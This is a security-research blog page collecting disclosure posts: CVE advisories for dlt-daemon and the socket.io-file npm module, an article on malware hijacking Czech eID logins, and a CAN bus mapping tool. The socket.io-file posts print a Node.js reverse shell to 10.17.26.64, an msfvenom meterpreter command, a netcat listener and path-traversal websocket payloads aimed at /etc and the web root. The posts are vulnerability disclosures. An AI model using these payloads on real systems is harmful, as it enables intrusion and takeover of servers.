Categories
Security Research

[CVE-2021-29507] Improper Input Validation leads to buffer overflow in dlt-daemon

Title: Improper Input Validation leads to buffer overflow in dlt-daemon
Date: 12/05/2021
CVE-ID: CVE-2021-29507
Author: Thomas Sermpinis
Versions: 2.10.0 < version <= 2.18.6
Package URL: https://github.com/GENIVI/dlt-daemon/
Tested on: dlt-daemon 2.18.6

The dlt-daemon includes a configuration file load functionality (-c) which is vulnerable to a buffer overflow vulnerability and allows a malicious user to supply a specially crafted configuration file which results in a segmentation fault after improper validation of the file content.

What kind of vulnerability is it? Who is impacted? The vulnerable component could be crashed when the configuration file is intentionally/unintentionally containing the special characters. All the applications which are using could fail to generate their dlt logs in system.

Github Advisory

CVE-ID (Mitre)

CVE-ID (NIST)

Categories
Security Research

[CVE-2020-24807] File Type Restriction Bypass in Socket.io-file NPM module

Title: File Type Restriction Bypass in Socket.io-file NPM module
Date: 31/07/2020
CVE-ID: 2020-24807
Advisory: https://github.com/advisories/GHSA-6495-8jvh-f28x
Author: Thomas Sermpinis
Versions: <= 2.0.31
Package URL: https://www.npmjs.com/package/socket.io-file
Tested on: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0
Proof of Concept:

During some of our pentests, we face applications that are well secured with not so many misconfigurations. That means that we have to dig deeper, if the time frame allows it. In one of our pentest we faced a web application running on an embedded device that used web sockets in order to initiate the connection between the server and the client. There are several different technologies that can be used in the back-end system in order to make use of web sockets, but in that case the client made use of Socket.io.

One of the main functionalities of the web application was file upload, and for that reason it used the Socket.io-file NPM module. For more info about the last vulnerability we discovered in this module, you can read the post here. In a sentence, there is a path traversal vulnerability which allowed us to upload files in any path of the system, considering the user that the web server was running on.

This by itself can supply remote code execution, considering that we can possibly wright the ssh_config file, or even the /etc/passwd and /etc/shadow files. But this is the case only in web servers that run with root privileges, so we had to dig deeper for more if we wanted to have remote code execution with a less privileged user.

Hence the file type restriction bypass vulnerability in the Socket.io-file module, which allowed us to bypass the file type restrictions specified in the modules configuration. That way we were able to upload any file type and by adjusting to the underlying configuration, upload the proper shell to obtain remote code execution to the underlying system.

Client and project aside, the upload functionality of socket.io-file is once more vulnerable to improper input validation in a different part of the code, allowing attackers to bypass file type restrictions and it allows them to upload files types of their choice in the underlying system.

Description of the Vulnerability

The default configuration of Socket.io-file comes with an upload functionality handled by websockets. When a user tries to upload a file with the web application, the following client side request is created in order for the file to be created:

Figure 1: Normal websocket request for file upload with Socket.io-file

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]

In order for this file to be created to the underlying system, the code from index.js of Socket.io-file is executed and the following part of the code, checks for the file type of the file (supplied by the socket.io-file configuration) and acts accordingly (accepts or discards the upload request):

let err = new Error('Not Acceptable file type ' + mimeType + ' of ' + filename + '. Type must be one of these: ' + this.accepts.join(', '));
return sendError(err);
}
else {
self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj);
}
}
else {
self.socket.emit(socket.io-file::complete::${id}, emitObj);
self.emit('complete', emitObj);

As an example, if the user uploads a file with the name “testfile.mp3” (with the applied configuration only allowing .mp3 files), a new .mp3 file will be created. As the aforementioned code makes the check only on the client side and before the websocket request gets created, the upload request can be intercepted and the file name altered in a way that allows us to alter the file type of the created file in the server. The following example exploits this issue:

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.php","size":1,"chunkSize":10240,"sent":0,"data":{}}]

In order to bypass the client side restriction, we have to rename the original file with the file type that is accepted by the web application (in this case .mp3). After we intercept the request, we can change the file type to the original one (e.g. .php), and no checks will be made in the server side. This will have as a result the creation of a .php file in the underlying system, which means that the file type checks has been bypassed.

Additionally, we can combine this attack with our previously disclosed path traversal vulnerability, which in certain configurations can result in code execution in the underlying system as we can see in the next section.

Combining Vulnerabilities to Obtain RCE

Now that we can upload any file type in any server folder we want to, it means that in certain configurations we can acquire code execution in the underlying system.

Case 1: Changing the configuration files.

One of the things we can do is alter the configuration files, add malicious javascript libraries in the webserver and alter the index.html in order to load them. A good example will be to alter the index.html file by copying the contents of it and adding a <script> tag to include a js file in it.

After that we can also upload a .js file (the one that we include in the index.html file, which is loaded by the server) which will include the following code:

(function(){
var net = require(“net”),
cp = require(“child_process”),
sh = cp.spawn(“/bin/sh”, []);
var client = new net.Socket();
client.connect(8080, “10.17.26.64”, function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();

This reverse shell will work only in certain misconfigured Node.js installations, which are not so rare in the wild. Changing the IP and port of our listener (you can start a listener to your attacking machine with nc -lnvp 8080) and by making the changes mentioned above, we can obtain a reverse shell, where we can execute commands in the underlying system.

Case 2: Exploiting configuration specific vulnerabilities.

There are many different configurations that can exist running the vulnerable module. One of them could be a node.js server running PHP. As crazy as it sounds, there are multipurpose servers that can support this kind of functionality, which are relatively easy to exploit.

To create a PHP reverse shell we can use msfvenom and execute the following command:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.26.64 LPORT=4443 -f raw > shell.mp3

Figure 2: Creating a reverse shell in PHP and starting a listener to receive the connection after the shells execution.

This will create a php file that when executed by the server will supply us with a reverse shell in our listener. To upload the file using our combined vulnerabilities, we can alter the upload websocket request and alter it as follows:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../public/shell.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

Figure 3: Original upload request through websockets, versus edited request, in order to change upload directory (using path traversal vulnerability) and file type.

This will upload our file in the public folder of our webserver, which is allowed to be accessed in our configuration. By navigating to the file with our browser, we are able to execute the php shell and get a reverse shell in our attacking machine.

Figure 4: Remote code execution succeeded, after navigating to the newly uploaded shell.

Issue Replication

In order to replicate the issue, the following steps have to be executed:

  • Setup a proxy to intercept HTTP and WebSocket requests (e.g. Burp Suite or OWASP Zafp)
  • Create a file which will be of the type that is accepted by the web application. (The contents of the file can be of any type)
  • Upload a file using the Socket.io-file web application and intercept the websocket request
  • Change the “name” parameter by adding altering the file type of the file, with the desired one:
    • 42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
    • This example will create the testfile.php file in the data directory of the current user (our test server stores files in /home/ubuntutest/Documents/socket-app/data)

Remediation

No fix is currently available. Consider using an alternative package or technology until a fix is made available.

Vulnerability Disclosure Timeline

Following the npm guidelines for vulnerability disclosure (“If maintainers are unresponsive after 45 days, npm Security makes the advisory public”), we responsibly disclosed this vulnerability on 31st of July 2020.

  • Initial Disclosure: 31st July 2020
  • Security Team Validation: 11th August 2020
  • Advisory Release: 2nd October 2020
  • CVE ID Assigned: 6th October 2020
Categories
Security Research

Virus harvesting Czech eID card identities

This research was conducted in cooperation with WardenSec.

This research was presented at QuBit Prague 2020. Video of the talk is available on YouTube.

Popis zranitelnosti v češtině je k dispozici zde.

Introduction

Czech government started issuing new electronical identity cards (further referred to by its Czech name eObčanka) back in July 2018. Those shall provide secure online authentication towards government ICT systems including social security account, online medical prescriptions, land registry, tax returns and more. Assuming eObčanka is well received by public, this Single sign-on (SSO) system could be expected to facilitate further use-cases in the future, possibly also including online voting. Due to the fact that successful theft of those identities might have wide-ranging consequences it is necessary to properly secure them.

eObčanka is implementation of proprietary government PKI system. Authentication key pair is generated and distributed with each eObčanka card and cannot be easily extracted. Usage of private key is protected by PIN known only to the card holder. At first glance this architecture seems to provide adequate security for given use-case.

Nevertheless, we have identified serious design flaw in the authentication workflow which allowed those identities to be stolen at bulk in simple malware campaign. Potential remote attacker could steal those guaranteed citizen identities without victim’s awareness. Our attack assumes that victim’s computer is infected with simple malware. Not citizen nor authentication backend was able to detect such identity theft at the time of our responsible disclosure to National Cyber and Information Security Agency.

Given the information security awareness of an average citizen, we argue that security of the system cannot rely on premise that citizens are not trying to authenticate from devices which are infected with malware or otherwise doctored. Czech eObčanka system was therefore facing serious risk of being targeted by malware campaign. Motivation for such campaign could be twofold – foreign geopolitical power trying to affect potential future online elections or cybercriminals filling in fake tax returns to steal tax refunds.

Throughout this article we would like to introduce you to the eObčanka system, explain how the authentication procedure could be broken and demonstrate proof-of-concept virus covertly stealing guaranteed online identities of fully unaware citizens, demonstrating this attack is not only theoretical, but practical indeed. Lastly, we discuss why it was close to impossible to identify the attack on users side and also why it was not being detected on backend side.

Usual authentication workflow

This section describes standard eObčanka authentication workflow against ePortal of Czech Social Security Administration (it is important to note that this detail is not relevant – security flaw lies in SSO functionality – once SSO identity is stolen, attacker can login to all government systems available under this SSO). Authentication workflow is also severely simplified and we only describe details necessary to understand our attack. The following steps are taken in order to login (see also figure 1 with detailed login diagram):

  1. Citizen navigates to the ePortal of Czech Social Security Administration website: https://eportal.cssz.cz and selects authentication using National Identity Authority (NIA)
  2. Citizen is redirected to SSO portal of NIA (frontend) https://eop.eidentita.cz and selects authentication using eObčanka
  3. NIA frontend initiates the authentication session by generating transaction identifier (mwId) in the uniqueidentifier format and asks user’s browser to open the following URL: czeeopauth://mwid=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX, where Xs represent given uniqueidentifier.
  4. Triggering URL from step 3 leads to independent application eObčanka Identifikace being opened on user’s computer with mwId being its second parameter (argv[1] for those familiar with C development).
  5. Program eObčanka Identifikace securely authenticates citizen against NIA backend (https://mweop.eidentita.cz). During this process, citizen needs to enter PIN code by which private authentication key is protected inside eObčanka. Upon successful completion, citizen’s identity is bound to given transaction ID (mwId).
  6. All infrastructure components – NIA backend, NIA frontend and ePortal of Czech Social Security Administration – are communicating together. Therefore, ePortal now knows the citizen’s identity which is proven by ownership of eObčanka and knowledge of PIN. Citizen is therefore successfully logged in (this part is significantly simplified).
Figure 1: Schema of standard login procedure

Theory behind our attack

Chain is unfortunately only as strong as it weakest link. In case of the login procedure described in the previous section it is step 4 in which browser initiates desktop application eObčanka Identifikace from the browser and passes mwId as application parameter. Computer of average citizen might be infected with malware, which might change the authentication workflow to the following:

  1. Citizen navigates to the ePortal of Czech Social Security Administration website: https://eportal.cssz.cz and selects authentication using National Identity Authority (NIA)
  2. Citizen is redirected to SSO portal of NIA (frontend) https://eop.eidentita.cz and selects authentication using eObčanka
  3. NIA frontend initiates the authentication session by generating transaction identifier (mwId) in the uniqueidentifier format and asks user’s browser to open the following URL: czeeopauth://mwid=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX, where Xs represent given uniqueidentifier.
  4. Triggering URL from step 3 leads to independent application eObčanka Identifikace being opened on user’s computer with mwId being its first parameter (argv[1] for those familiar with C development). At this point, however, malware intercepts this call.
  5. Malware which intercepted this call immediately connects to the attacker’s backend (command & control server).
  6. Attacker’s backend requests its own login transaction identifier (mwId) in the following format: czeeopauth://mwid=YYYYYYYY-YYYY-YYYY-YYYY-YYYYYYYYYYYY. Note that this mwId is unrelated to the original mwId requested by user.
  7. Malware swaps the transaction id of the user czeeopauth://mwid=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX for the transaction id of the attacker czeeopauth://mwid=YYYYYYYY-YYYY-YYYY-YYYY-YYYYYYYYYYYY in the program memory of eObčanka Identifikace.
  8. Program eObčanka Identifikace securely authenticates user against NIA backend (https://mweop.eidentita.cz), but this time using transaction ID of the attacker. Upon successful completion of this process, citizens identity is bound to attackers transaction ID YYYYYYYY-YYYY-YYYY-YYYY-YYYYYYYYYYYY instead of user’s transaction ID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX!
  9. At this point, attacker successfully completed identity theft and fully controls user’s government guaranteed identity. As NIA is SSO portal, attacker is able to login to all systems connected to it (including ePortal of Czech Social Security Administration) and act in the name of the user.
  10. Legitimate user’s login attempt times out with inconclusive error. User has no chance to find out his identity was just stolen.
Figure 2: Schema of theoretical attack against standard login procedure

Practical implementation

Attack might seem complex to implement, but it is in fact surprisingly trivial to implement and carry out. Program eObčanka Identifikace does not rely on system openssl library and it is instead installed with its own openssl version.

Figure 3: Bash script initiating eObčanka Identifikace with its own openssl library

Let us assume that some citizens use compromised computers with malware (virus) which infected this openssl library. Library can be easily modified so that upon its initialization it executes steps 5-7 of the theoretical attack described in the previous section.

Openssl must be initialized when program starts and prior any communication between eObčanka Identifikace application and NIA backend can be done. We can therefore modify openssl initialization call to trigger our virus as follows.

Figure 4: Malware planted in openssl library SSL_new() function

Actual attack is then carried out within spoof_MWID() function as follows.

Figure 5: spoof_MWID() function which swaps transaction IDs

Malicious function simply calculates position of argv array (arguments with which program was started) on the program stack (this value is constant across different program executions) and replaces argument holding legitimate mwId with attacker’s mwId.

We have successfully tested proof-of-concept of this attack on Linux version of eObčanka Identifikace. There is no indication that similar attack would not be possible on other OS versions including Windows and Mac. Following shows video of working proof-of-concept attack.

What is the potential impact?

In case of successful identity theft, eObčanka Identifikace program and NIA frontend leaves user no chance to recognize that anything malicious happened. The only difference between successful login attempt and the one that has been stolen is the login attempt timeout with generic error message. It is fair to assume that no user would find that suspicious, instead they would try to login again.

In theory NIA backend shall be able to partially detect and prevent this attack, but to our surprise it did not detect it even in the most obvious forms. Even the most naive implementation of this attack – with login attempts starting from browser at IP address 1 and certain geolocation and completing from eObčanka Identifikace program at IP address 2 and totally different geolocation succeeded.

We believe this security flaw constitutes significant security risk for the whole system of eObčanka. We do not believe that someone would be motivated to misuse it in order to steal single identity. There is, however, significant risk that someone might be motivated to mount malware campaign against Czech users trying to steal those identities en mass. Motivation to orchestrate such attack would only grow with eObčanka growing adoption rates. Ideal motivation for such attack might be attempts of foreign geopolitical force to influence future online elections at Czech Republic or simple motivation of cybercriminals to steal tax returns submitted online using eObčanka.

Responsible disclosure

We have initially identified this issue in the first half of 2019. We have reported it to responsible people, but we were not properly informed on the countermeasures . Therefore, we presented the issue at QuBIT conference in Prague 2020 and released this article to public scrutiny.

Responsible disclosure timeline:

  • 19th&20th January 2019: Hackathon eObčanka in Paralelní Polis
  • 14th August 2019: Issue reported to NÚKIB (National Cyber and Information Security Agency of Czech Republic)
  • August – November 2019: No progress despite several reminders and status inquiries. NÚKIB stopped communicating with us.
  • Spring 2020: We noticed first visible countermeasure. mwId is now displayed in eObčanka Identifikace as well as on the web, so user can at least manually compare them.
  • 27th August 2020: Shared presentation slides from our upcoming talk at QuBIT conference with NÚKIB. We received no response nor comment.
  • September 2020: Public disclosure at QuBIT conference in Prague 2020. It is more than 1 year since we initially reported the issue. We are not aware of any other countermeasures taken.
Figure 6: The only countermeasure that was (to the best of our knowledge) implemented

Categories
Security Research

CANdy – an automated CAN bus message mapping framework

Check out CANdy demo

When I was offered to write a bachelor thesis on the topic of CAN bus message mapping, I had no idea how crucial and fascinating such an area actually is and I would like to share with you what I learned and created during the past six months.

First thing first, what exactly is that CAN bus we are talking about? CAN stands for Controller Area Network, a communication protocol usually used in real-time systems to enable data exchange between each controller and electrical devices (engine sensors, brake systems, air conditioning, etc.). We can find it in many industrial domains but most importantly – transportation. CAN bus is a communication backbone of your vehicle’s internal systems and its importance has risen since every new car model is equipped with more electrical controllers and sensors than the previous one. For instance, CAN provides an efficient and cheap way to send data from engine sensors to the automobile dashboard to show you information about the car’s speed or RPM. However, the protocol only tells how each unit should talk to the other, but does not specify the “language” they ought to use. In other words, there are no general rules imposed on the data payload format. What is more, only car manufacturers are in charge of creating the definitions, which are not publicly available. As a result, we cannot simply connect to the bus and send messages or understand what exactly happens in the car. Such a state provides a certain level of security, that can prevent others from modifying the car internals or injecting malicious messages to its CAN network unless they are given some message definitions. This principle is also known as a “security by obscurity” and is generally considered as an insufficient method for securing any system or application.

Therefore, things can go wrong really easily. Lack of encryption or authentication allows us to forge any message we want and send it to the bus. Let’s say we have the format of the message carrying data from a proximity sensor and the car model uses a really advanced driving assistant, which can automatically detect if you are getting too close behind another car and slow down the car to avoid a possible crash. Now, what could happen when made up data were sent to the bus? With the right data, the driving assistant might slow down the car even if there is no vehicle around and vice-versa. In addition, CAN protocol is susceptible to DoS attacks as there is no mechanism preventing an attacker from flooding the bus with messages. As a result, blocking the whole bus can inflict major damage to the car and put the passengers in danger. Scenarios like these illustrate how easily we can affect the behavior of the car only with access to the CAN bus and why is car security more important than ever. Moreover, the next question is how do we obtain the message definitions for a specific car model.

Finally, this is where message mapping plays a key role. Luckily for us, raw CAN messages are not as random as they appear and we can find some certain patterns and characteristics to help us decode them. The process of assigning an unknown CAN message to a specific function or meaning is what we call message mapping. A few academic researchers have proposed solutions to either classify the messages or detect signals and their parameters, which do not fully recognize what exactly the message represents. Unfortunately, there is no universal method yet to map messages only with a message log from the bus and some level of interaction with the car is still required. Finding a message related to opening the door can be divided into three steps:

  1. Find out which messages are sent to the bus when you physically open the door. 
  2. If there is more than one, look at the payload and discover how does it change when you close or open the door. 
  3. Try to describe every possible state or value that is sent in the message.

It does not sound like big of a deal, right? Sadly, the task is a little bit more complicated than that. First of all, accessing the CAN bus itself could be a quite challenging task, because not all cars have their bus exposed to the OBD-II port. For instance, Volkswagen has its CAN bus hidden behind a gateway, therefore another channel needs to be found instead of a direct connection via OBD-II. In that case, you will have to take a more creative approach, which will require taking your car apart a little bit. Some modern cars may even offer ways to gain remote access, but that is way harder to accomplish still. Secondly, there are hundreds of messages sent to the bus every second and without any dedicated software, it would be impossible for us to navigate through all of that. Finally, this is where our tool comes in handy! CANdy can assort and filter out messages and provide useful information for mapping. It also gives you a better idea of what is going on the bus with its plotting modules and a decoder. What is more, you can write your own modules using its API to add some custom functionality. To better illustrate how CANdy works we would rather show you an example of mapping the gas pedal message using our tool.

This is how traffic on the CAN bus in Toyota Auris 2016 looks like in a span of 0.01 second.
One of our modules helped us detect message ID – 0x2c1, which appears when the gas pedal is pressed. We can get rid of all the noise with a message filter and get cleaner data for our analysis.  
The improved output suggests that some bytes of the payload may carry some useful information. Naturally, the most obvious way to examine such data is making a time series graph. And we have a module for it too.

This plot only shows the first and the seventh byte in the payload. But it is sufficient to recognize the data in the first byte as an indicator whether the pedal is pressed or not, while the seventh byte seems to tell us how much. In order to confirm or dispute our theory, one may look up an official definition for the gas pedal message on the internet or compare your results with someone else. One definition we found on the internet for Toyota Corolla 2017, a very similar model to Auris, describes the message like so:

It is not necessary to dive into details about the format, so we will interpret it for you. The message ID for the gas pedal is 705, which is 2c1 in hexadecimal. Then, there are two signals, which are technically just some values placed in the specified position of the payload. Also, the CAN message data field has a fixed length of 64 bits using zero-based indexing. In this case, it means that the fourth bit in the message indicates the gas pedal is released and the last byte of the payload is used for pressure on the pedal (offset 55 bits, length 8 bits). As we can see, our first guess about the indicator was most probably correct. The latter may be still applicable, because we do not have completely matching CAN definitions, but we cannot be sure either. Another way to test this theory is to try to press the pedal and see which bytes are changing accordingly. Such a task could be carried out with another module we wrote for rendering a real-time plot for a particular message and its bytes.

Ultimately, there are a lot of other units to map with their messages like windows, turn signals, etc. And there is nothing stopping you from trying to hack your car’s CAN bus the same way as we did. CANdy is published as an open-source tool for everyone to try out and for the next step, we would like to gather and publish a crowdsourced database of various CAN definitions. Thus, you are more than welcomed to take a look at CANdy, test it out, and share your results with us. For more information, please check out the paper with technical details and resources. Also, the repository with the tool is available at this link.

Categories
Security Research

[CVE-2020-15779] Path Traversal in Socket.io-file NPM module

Title: Path Traversal in Socket.io-file NPM module
Date: 18/05/2020
CVE-ID: 2020-15779
Advisory: https://www.npmjs.com/advisories/1519
Author: Thomas Sermpinis
Versions: <= 2.0.31
Package URL: https://www.npmjs.com/package/socket.io-file
Tested on: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0
Proof of Concept: https://www.exploit-db.com/exploits/48713

During one of my penetration tests for a local military equipment supplier, I faced a web application running on an embedded device that used web sockets in order to initiate the connection between the server and the client. There are several different technologies that can be used in the back-end system in order to make use of web sockets, but the client made use of Socket.io.

The web application was relatively small, with only a few entry points that did not seem to be vulnerable. All the modules were up to date and my enumeration started to go into a dead end. As there were more days for my pentest, I decided to dig deeper and I started analyzing more the request and researching about the npm modules that were included and were in use in the web application.

One of the functionalities was a configuration file upload, that was stored in a folder in the filesystem, by using the Socket.io-file npm module. Socket.io-file (2.0.31) is a node module for uploading files via the Socket.io module. Playing around with the requests I managed to bypass the restrictions and upload a file in a different folder from the expected one (I knew that as I had access to the backend of the system).

Client and project aside, the upload functionality of socket.io-file is vulnerable to improper input validation, allowing attackers to bypass upload directory restrictions and it allows them to upload files to paths of their choice in the underlying system.

Description of the Vulnerability

The default configuration of Socket.io-file comes with an upload functionality handled by websockets. When a user tries to upload a file with the web application, the following client side request is created in order for the file to be created:

Figure 1: Normal websocket request for file upload with Socket.io-file

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]

In order for this file to be created to the underlying system, the code from index.js of Socket.io-file is executed and the following part of the code, manages to merge the file path (supplied by the socket.io-file configuration) with the file name that was supplied by the user:

if(typeof options.uploadDir === 'string') {uploadDir = path.join(options.uploadDir, filename);}

As an example, if the user uploads a file with the name “testfile.mp3” and the server is configured to to store files in the “/home/Documents/socket-app/data” path the resulting path that Socket.io-file will create the file, will be “/home/Documents/socket-app/data/testfile.mp3”.

Because the aforementioned code makes no check on the file name, the upload request can be intercepted and the file name altered in a way that will move in certain paths of the system. The following example exploits this issue:

42["socket.io-file::createFile",{"id":"u_0","name":"../testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]

This request will generate the following path for the file to be stored “/home/Documents/socket-app/data/../testfile.mp3”, which means that the file will actually be created in “/home/Documents/socket-app/testfile.mp3” as the ../ characters will move the path one level lower in the filesystem.

Figure 2: File created in the node_modules directory of the filesystem, outside the intended directory.

From this example we can understand that we can write in several sensitive directories like the ~/ home directory (which includes the .ssh folder which allows us to rewrite the ssh configuration), in the root webserver directory (which can help us get a reverse shell under the right circumstances) and the cron directory (where we can inject cron jobs for code execution). Additionally, if the back-end system runs with superuser privileges (which is not so uncommon), the attacker can use this vulnerability to create files in even more sensitive paths (e.g. /root and /etc). As an example, we can write the /etc/passd file of our implementation like the following:

42["socket.io-file::createFile",{"id":"u_0","name":"../../../etc/passd","size":1,"chunkSize":10240,"sent":0,"data":{}}]

Issue Replication

In order to replicate the issue, the following steps have to be executed:

  • Setup a proxy to intercept HTTP and WebSocket requests (e.g. Burp Suite or OWASP Zap)
  • Upload a file using the Socket.io-file web application and intercept the websocket request
  • Change the “name” parameter by adding ../ and specifying the needed path:
    • 42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../../../Downloads/testfile.mp3″,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
    • This example will create the testfile.mp3 file in the Downloads directory of the current user (our test server stores files in “/home/ubuntutest/Documents/socket-app/data”)

Remediation

No fix is currently available. Consider using an alternative package until a fix is made available.

Vulnerability Disclosure Timeline

Following the npm guidelines for vulnerability disclosure (“If maintainers are unresponsive after 45 days, npm Security makes the advisory public”), we responsibly disclosed this vulnerability on 18th of May 2020.

  • Initial Disclosure: 18th May 2020
  • Security Team Validation: 18th May 2020
  • Advisory Release: 7th July 2020
  • CVE-ID Assignment: 15th July 2020
  • PoC Release at exploit-db.com: 27th July 2020